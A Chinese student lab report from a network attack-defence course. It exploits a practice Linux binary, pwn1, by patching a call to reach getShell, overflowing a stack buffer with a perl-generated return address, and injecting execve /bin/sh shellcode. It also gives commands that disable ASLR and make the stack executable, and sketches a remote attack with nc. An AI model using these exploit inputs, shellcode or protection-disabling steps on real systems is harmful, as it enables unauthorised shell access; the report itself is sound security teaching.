PC平台逆向破解

20175314 2020-3 《网络对抗技术》Exp1 PC平台逆向破解 Week2

目录
  • 20175314 2020-3 《网络对抗技术》Exp1 PC平台逆向破解 Week2
    • 一、实践目标
      • 1、实践对象:Linux可执行文件pwn1
      • 2、实践内容
    • 二、基础知识
      • 1、实践要求
      • 2、指令/参数
      • 3、实践原理
      • 4、预备知识
        • 安装必要软件包
        • NOP, JNE, JE, JMP, CMP汇编指令对应的机器码
        • perl指令
        • Linux两种基本构造攻击buf的方法(一般选择第一种)
        • Windows系统自带的计算器可以计算16进制
    • 三、实践步骤
      • 1、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
      • 2、利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
      • 3、注入一个自己制作的shellcode并运行这段shellcode
      • 4、结合nc模拟远程攻击
    • 四、实践报告
      • 1、什么是漏洞?漏洞有什么危害?
      • 2、实验收获与感想

一、实践目标

1、实践对象:Linux可执行文件pwn1

  • pwn1正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串
  • 该程序同时包含另一个代码片段:getShell,会返回一个可用Shell,运行这个正常情况下不会被运行的代码片段
  • 学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode

2、实践内容

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
  • 注入一个自己制作的shellcode并运行这段shellcode
  • 这几种思路基本代表现实情况中的攻击目标:
    • 运行原本不可访问的代码片段
    • 强行修改程序执行流
    • 以及注入运行任意代码

二、基础知识

1、实践要求

  • 熟悉Linux基本操作能看懂常用指令:如管道(|)、输入、输出重定向(>)等
  • 理解Bof的原理能看得懂汇编、机器指令、EIP、指令地址
  • 会使用gdbvi/vim

2、指令/参数

  • 复制文件cp <原文件名> <新文件名>
  • 对文件进行反汇编objdump -d xxx
  • 将文件内容以16进制形式呈现xxd 文件名vi/vim进入文件将内容转化为16进制表示%!xxd,转化为原来的表示方式%!xxd -r
  • GDB调试:进入调试界面gdb,运行r,查看输入的参数info r,设置断点break *<地址段>
  • <可执行文件1>中的字符串通过管道传递给<可执行文件2>,作为可执行文件<可执行文件2>的输入(cat <可执行文件1>;cat) | <可执行文件2>
  • 设置堆栈可执行execstack -s <可执行文件>,查询文件的堆栈是否可执行execstack -q <可执行文件>,查看地址随机化的状态more /proc/sys/kernel/randomize_va_space,关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space

3、实践原理

  • pwn1函数地址

PC平台逆向破解_第1张图片

  • 系统执行函数getShell的步骤

PC平台逆向破解_第2张图片

4、预备知识

安装必要软件包

  • root用户权限下
apt-get update
apt-get install gdb       //安装GDB
apt-get install execstack //安装execstack
apt-get install net-tools //安装net-tools

NOP, JNE, JE, JMP, CMP汇编指令对应的机器码

  • NOP:"no operation"空操作,机器码0x90
  • JNE:"not equal"不等则跳转,机器码0x75
  • JE:相等则跳转,机器码0x74
  • JMP:无条件跳转
    • 段内直接短转Jmp short,机器码0xEB;
    • 段内直接近转移Jmp near,机器码0xE9;
    • 段内间接转移Jmp word,机器码0xFF;
    • 段间直接(远)转移Jmp far,机器码0xEA
  • CMP:比较指令,CMP的功能相当于减法指令。它不保存结果,只是影响相应的标志位,机器码0x39
  • 更多详情请参见汇编指令机器码对应列表

perl指令

我们无法通过键盘输入\x7d\x84\x04\x08这样的16进制值,
所以要使用perl指令输出重定向>perl生成的字符串存储到文件中
例如perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
将字符串11111111222222223333333344444444\x7d\x84\x04\x08\x0a重定向到文件input

Linux两种基本构造攻击buf的方法(一般选择第一种)

  • retaddr+nop+shellcode

  • nop+shellcode+retaddr

Windows系统自带的计算器可以计算16进制

三、实践步骤

  • 先对可执行文件pwn1进行复制并以学号命名20175314pwn1/2/3

1、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

  • 对文件20175314pwn1进行反汇编

PC平台逆向破解_第3张图片

  • 得到文件的汇编语言表示,找到关于我们所要的函数跳转的部分:

PC平台逆向破解_第4张图片

  • 可以从上图看到,原函数是在执行主函数时调用foo,即跳转到foo函数的首地址处。所以我们要做的就是修改主函数中的跳转地址,使得程序跳转到getShell函数的首地址

  • 主函数中有一条是call 8048491,这里8048491就是foo函数的首地址。这条指令的机器码部分是e8 d7 ff ff ff,其中e8call指令的机器码,后面的d7 ff ff ff是目的地址减去eip寄存器中地址的值,如果是负数要换算成补码。这里的e8 d7 ff ff ff8048491-80484ba的结果换算成补码(因为eip寄存器中存放的是下一条指令所在的地址所以减去80484ba而不是80484b5)

  • 函数getShell的首地址是804847d,也就是说我们需要把804847d-80484ba的结果换算成补码,替换原来的e8 d7 ff ff ff,计算结果是ff ff ff c3

  • 地址替换

    • 使用vim进入20175314pwn1,发现是乱码

PC平台逆向破解_第5张图片

  • esc+:键入%!xxd,按回车,将文件内容转化为16进制表示

PC平台逆向破解_第6张图片

  • esc+:键入/d7ff搜索e8 d7(e8与d7间有空格,老师的实验指导书中写的是e8d7,那一段地址是搜不到的,根据以上分析也可以直接搜索d7ff或者d7)出现的地方,观察d7前后,确定是要修改的地方,确认后进入编辑模式把d7改为c3

  • esc+:键入%!xxd -r将文件内容转化为原来的表示方式

  • esc+:键入wq保存并退出文件

  • 检验:./20175314pwn1执行修改后的可执行文件,键入ls,结果是显示该目录下的文件名,说明修改成功(此处Bash Shell提示符在普通用户默认模式下是$,在root用户默认模式下是#)

PC平台逆向破解_第7张图片

2、利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

  • 20175314pwn2中的main函数调用的是foo函数,foo函数在执行完后会返回,也就是指向main函数中调用foo函数这条指令的下一条指令,我们要做的是利用foo中的buf漏洞,覆盖返回地址,使得在输入参数后直接执行shellcode,而非foo函数,详见实践原理系统执行函数getShell的步骤

  • 汇编语言表示中我们需要关注的部分

PC平台逆向破解_第8张图片

  • 对上图进行分析,发现buf的长度是1c(十六进制)字节,再加上%ebp占用的4字节,结果转换成十进制是32字节

  • 使用GDB调试gdb 20175314pwn2,验证是否32字节以外的内容会被写进%eip

  • 在命令行输入20175314pwn2进入调试页面

  • 输入r开始运行,输入参数,然后输如info r进行查看
    PC平台逆向破解_第9张图片

  • %eip的值为0x34333231,0x34是4的ASCII码。这就说明了16字节以外的内容会被写进%eip寄存器

  • 我们接下来要做的是在输入时,在16字节的内容后面加上getshell函数的首地址的ASCII码信息。从之前的截图可以知道其首地址为804847d,由于是小端序列,所以我们要输入的是<16字节的内容>+\x7d\x84\x04\x08(\x表示的是转换为ASCII码)
    使用perl指令(详见预备知识)perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a" ' > input生成包括这个字符串的一个文件(\x0a表示回车)

  • 查看input文件的内容是否如预期,通过管道符|,将input文件作为20175314pwn2的输入,使用ls命令和pwd命令进行调试,可以看到结果

PC平台逆向破解_第10张图片

3、注入一个自己制作的shellcode并运行这段shellcode

  • 安装execstack,修改堆栈的设置(详见预备知识)

PC平台逆向破解_第11张图片

  • 构造一个shellcode语句,并使用perl指令把这个语句写入到文件input_3中(参考实验指导书推荐的shellcode):
    perl -e 'print "A" x 32;printf "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00" '>input_3

  • 以上\x4\x3\x2\x1用来暂时表示shellcode代码的首地址,接下来我们要做的是寻找其真正的首地址

    • ①在目前终端的命令行输入(cat input_3;cat) | ./20175314pwn3
      PC平台逆向破解_第12张图片

    • ②输入ps -ef | grep part3来获得进程号:1725(构造shellcode时找进程不要使用回车键否则会找不到)

    • ③使用gbd进行调试,输入attach 1725,再输入disassemble foo来查看注入内容的地址
      PC平台逆向破解_第13张图片

    • ④在ret这一句设置断点break *0x080484ae,然后切换至另一终端,按下回车

    • ⑤使用info r esp来查看栈顶指针,为0xffffd69c,再输入x/16x 0xffffd69c查看指针指向的内容

PC平台逆向破解_第14张图片

  • ⑥可以从上图看到,只要把0xffffd69c加上4就能得到shellcode的首地址为0xffffd6a0
    PC平台逆向破解_第15张图片

  • 找到首地址后,切换终端。先终止当前进程,然后打开input_3将其修改为16进制表示后进行修改,把\x04\x03\x02\x01修改为\xa0\xd6\xff\xff

PC平台逆向破解_第16张图片

  • 输入(cat input_3;cat) | ./20175314pwn3,再键入ls进行验证

PC平台逆向破解_第17张图片

4、结合nc模拟远程攻击

  • 使用两台虚拟机进行试验,靶机:Kali),攻击机:Ubuntu
  • 实现任意TCP/UDP端口的侦听,nc可作为server以TCP或UDP方式侦听指定端口
  • 扫描端口,nc可作为client发起TCP或UDP连接
  • 以实现机器之间传输文件,并在Ubuntu上检查传输的文件input是否可以使用ls/pwd

四、实践报告

1、什么是漏洞?漏洞有什么危害?

漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,是受限制的计算机、组件、应用程序或其他联机资源的无意中留下的不受保护的入口点。
利用这些缺点,攻击者可以对计算机系统进行攻击,从而达到一定的目的。漏洞威胁了计算机的系统安全,给攻击者有可乘之机,可能引起经济损失、机密泄露、隐私暴露、数据篡改等问题。
从外部写入到缓冲区可以使攻击者覆盖邻近内存块的内容,使攻击者能够在未授权的情况下访问或破坏系统,从而导致数据遭到破坏,程序崩溃,甚至可以执行任何恶意代码。

2、实验收获与感想

本次实验与以往其他学科不同,因为过去大多实验都只有固定的参数代码或步骤,只需要按部就班地完成即可,少有接触修改地址等较为底层的操作,而内存地址根据每个人电脑的情况又是不同的。但是真正搞懂了原理后一步步完成也没有遇到过太大的问题,几乎比当时安装Kali系统时还要少,完成大约需要五小时,是全新的体验,感觉到很有收获。

你可能感兴趣的:(PC平台逆向破解)